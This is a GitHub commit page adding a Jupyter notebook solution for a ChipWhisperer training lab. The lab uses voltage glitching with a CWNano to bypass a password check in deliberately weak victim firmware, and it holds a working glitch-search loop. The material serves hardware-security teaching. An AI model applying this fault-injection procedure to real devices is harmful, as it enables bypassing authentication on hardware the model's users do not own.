-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Start jupyter notebook with no default page
- Loading branch information
Showing
7 changed files
with
1,338 additions
and
62 deletions.
There are no files selected for viewing
301 changes: 301 additions & 0 deletions
301
...oints/SOLN_Fault 2_2B - Voltage Glitching with CWNano to Bypass Password-checkpoint.ipynb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,301 @@ | ||
{ | ||
"cells": [ | ||
{ | ||
"cell_type": "markdown", | ||
"metadata": {}, | ||
"source": [ | ||
"# Part 2, Topic 2: Voltage Glitching to Bypass Password" | ||
] | ||
}, | ||
{ | ||
"cell_type": "markdown", | ||
"metadata": {}, | ||
"source": [ | ||
"---\n", | ||
"NOTE: This lab references some (commercial) training material on [ChipWhisperer.io](https://www.ChipWhisperer.io). You can freely execute and use the lab per the open-source license (including using it in your own courses if you distribute similarly), but you must maintain notice about this source location. Consider joining our training course to enjoy the full experience.\n", | ||
"\n", | ||
"---" | ||
] | ||
}, | ||
{ | ||
"cell_type": "markdown", | ||
"metadata": {}, | ||
"source": [ | ||
"**SUMMARY:** *We've seen how voltage glitching can be used to corrupt calculations, just like clock glitching. Let's continue on and see if it can also be used to break past a password check.*\n", | ||
"\n", | ||
"**LEARNING OUTCOMES:**\n", | ||
"\n", | ||
"* Applying glitch to breaj password check\n", | ||
"* Checking for success and failure when glitching" | ||
] | ||
}, | ||
{ | ||
"cell_type": "markdown", | ||
"metadata": {}, | ||
"source": [ | ||
"The function password returns the vallue of passok.<br>\n", | ||
"If password is wrong 0 is rerurned <br>\n", | ||
"If password is correct 1 is rerurned <br>\n", | ||
"\n", | ||
"```C\n", | ||
"/*src: https://github.com/newaetech/chipwhisperer/blob/develop/hardware/victims/firmware/simpleserial-glitch/simpleserial-glitch.c*/\n", | ||
"\n", | ||
"/*Line 74 .. */\n", | ||
"uint8_t password(uint8_t* pw, uint8_t len)\n", | ||
"\n", | ||
"{\n", | ||
" char passwd[] = \"touch\";\n", | ||
" char passok = 1;\n", | ||
" int cnt;\n", | ||
"\n", | ||
" trigger_high();\n", | ||
"\n", | ||
" //Simple test - doesn't check for too-long password!\n", | ||
" for(cnt = 0; cnt < 5; cnt++){\n", | ||
" if (pw[cnt] != passwd[cnt]){\n", | ||
" passok = 0;\n", | ||
" }\n", | ||
" }\n", | ||
"\n", | ||
" trigger_low();\n", | ||
"\n", | ||
" simpleserial_put('r', 1, (uint8_t*)&passok);\n", | ||
" return 0x00;\n", | ||
"}\n", | ||
"```\n", | ||
"\n", | ||
"### Glitch Hardware" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"SCOPETYPE = 'CWNANO'\n", | ||
"PLATFORM = 'CWNANO'\n", | ||
"SS_VER = 'SS_VER_2_1'" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"%run \"Setup_Generic.ipynb\"" | ||
] | ||
}, | ||
{ | ||
"cell_type": "markdown", | ||
"metadata": {}, | ||
"source": [ | ||
"Program the Victim microcontroller STM32F04xxx <br>\n", | ||
"using .hex output from the the C - file : **[simpleserial-glitch.c](http://localhost:8888/edit/simpleserial-glitch.c)** \n", | ||
"\n" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"fw_path=\"simpleserial-glitch-CWNANO.hex\"\n", | ||
"cw.program_target(scope, prog, fw_path)" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"ret = \"\"\n", | ||
"target.flush()\n", | ||
"reset_target(scope)\n", | ||
"time.sleep(0.001)\n", | ||
"num_char = target.in_waiting()\n", | ||
"while num_char > 0:\n", | ||
" ret += target.read(timeout=10)\n", | ||
" time.sleep(0.01)\n", | ||
" num_char = target.in_waiting()\n", | ||
"print(ret)" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"scope.io.clkout = 7.5E6\n", | ||
"def reboot_flush(): \n", | ||
" scope.io.nrst = False\n", | ||
" time.sleep(0.05)\n", | ||
" scope.io.nrst = \"high_z\"\n", | ||
" time.sleep(0.05)\n", | ||
" #Flush garbage too\n", | ||
" target.flush()" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"#Do glitch loop\n", | ||
"reboot_flush()\n", | ||
"pw = bytearray([0x74, 0x6F, 0x75, 0x63, 0x68])\n", | ||
"target.simpleserial_write('p', pw)\n", | ||
"\n", | ||
"val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check\n", | ||
"valid = val['valid']\n", | ||
"if valid:\n", | ||
" response = val['payload']\n", | ||
" raw_serial = val['full_response']\n", | ||
" error_code = val['rv']\n", | ||
"\n", | ||
"print(val)" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"import matplotlib.pylab as plt\n", | ||
"import chipwhisperer.common.results.glitch as glitch\n", | ||
"gc = glitch.GlitchController(groups=[\"success\", \"reset\", \"normal\"], parameters=[\"repeat\", \"ext_offset\"])\n", | ||
"gc.display_stats()" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"%matplotlib ipympl \n", | ||
"import matplotlib.pylab as plt\n", | ||
"fig = plt.figure()" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"from importlib import reload\n", | ||
"import chipwhisperer.common.results.glitch as glitch\n", | ||
"from tqdm.notebook import tqdm\n", | ||
"import re\n", | ||
"import struct\n", | ||
"\n", | ||
"g_step = 1\n", | ||
"\n", | ||
"gc.set_global_step(g_step)\n", | ||
"gc.set_range(\"repeat\", 1, 3)\n", | ||
"gc.set_range(\"ext_offset\", 1, 50)\n", | ||
"\n", | ||
"gc.set_global_step(1)\n", | ||
"\n", | ||
"reboot_flush()\n", | ||
"sample_size = 1\n", | ||
"scope.glitch.repeat = 0\n", | ||
"broken = False\n", | ||
"\n", | ||
"for glitch_settings in gc.glitch_values():\n", | ||
" scope.glitch.repeat = glitch_settings[0]\n", | ||
" scope.glitch.ext_offset = glitch_settings[1]\n", | ||
" if broken:\n", | ||
" break\n", | ||
" for i in range(50):\n", | ||
" scope.arm()\n", | ||
" target.simpleserial_write('p', bytearray([0]*5))\n", | ||
" ret = scope.capture()\n", | ||
" \n", | ||
" if ret:\n", | ||
" print('Timeout - no trigger')\n", | ||
" gc.add(\"reset\", (scope.glitch.repeat, scope.glitch.ext_offset))\n", | ||
" plt.plot(scope.glitch.ext_offset, scope.glitch.repeat, 'xr', alpha=1)\n", | ||
" fig.canvas.draw()\n", | ||
"\n", | ||
" #Device is slow to boot?\n", | ||
" reboot_flush()\n", | ||
"\n", | ||
" else:\n", | ||
" val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check\n", | ||
" if val['valid'] is False:\n", | ||
" gc.add(\"reset\", (scope.glitch.repeat, scope.glitch.ext_offset))\n", | ||
" plt.plot(scope.glitch.ext_offset, scope.glitch.repeat, 'xr', alpha=1)\n", | ||
" fig.canvas.draw()\n", | ||
" reboot_flush()\n", | ||
" else:\n", | ||
" if val['payload'] == bytearray([1]): #for loop check\n", | ||
" broken = True\n", | ||
" gc.add(\"success\", (scope.glitch.repeat, scope.glitch.ext_offset))\n", | ||
" print(val)\n", | ||
" print(val['payload'])\n", | ||
" print(scope.glitch.repeat, scope.glitch.ext_offset)\n", | ||
" print(\"🐙\", end=\"\")\n", | ||
" plt.plot(scope.glitch.ext_offset, scope.glitch.repeat, '+g', alpha=1)\n", | ||
" fig.canvas.draw()\n", | ||
" break\n", | ||
" else:\n", | ||
" gc.add(\"normal\", (scope.glitch.repeat, scope.glitch.ext_offset))" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"scope.dis()\n", | ||
"target.dis()" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [ | ||
"assert broken is True" | ||
] | ||
}, | ||
{ | ||
"cell_type": "code", | ||
"execution_count": null, | ||
"metadata": {}, | ||
"outputs": [], | ||
"source": [] | ||
} | ||
], | ||
"metadata": { | ||
"kernelspec": { | ||
"display_name": "Python 3 (ipykernel)", | ||
"language": "python", | ||
"name": "python3" | ||
}, | ||
"language_info": { | ||
"codemirror_mode": { | ||
"name": "ipython", | ||
"version": 3 | ||
}, | ||
"file_extension": ".py", | ||
"mimetype": "text/x-python", | ||
"name": "python", | ||
"nbconvert_exporter": "python", | ||
"pygments_lexer": "ipython3", | ||
"version": "3.10.11" | ||
} | ||
}, | ||
"nbformat": 4, | ||
"nbformat_minor": 4 | ||
} |
Oops, something went wrong.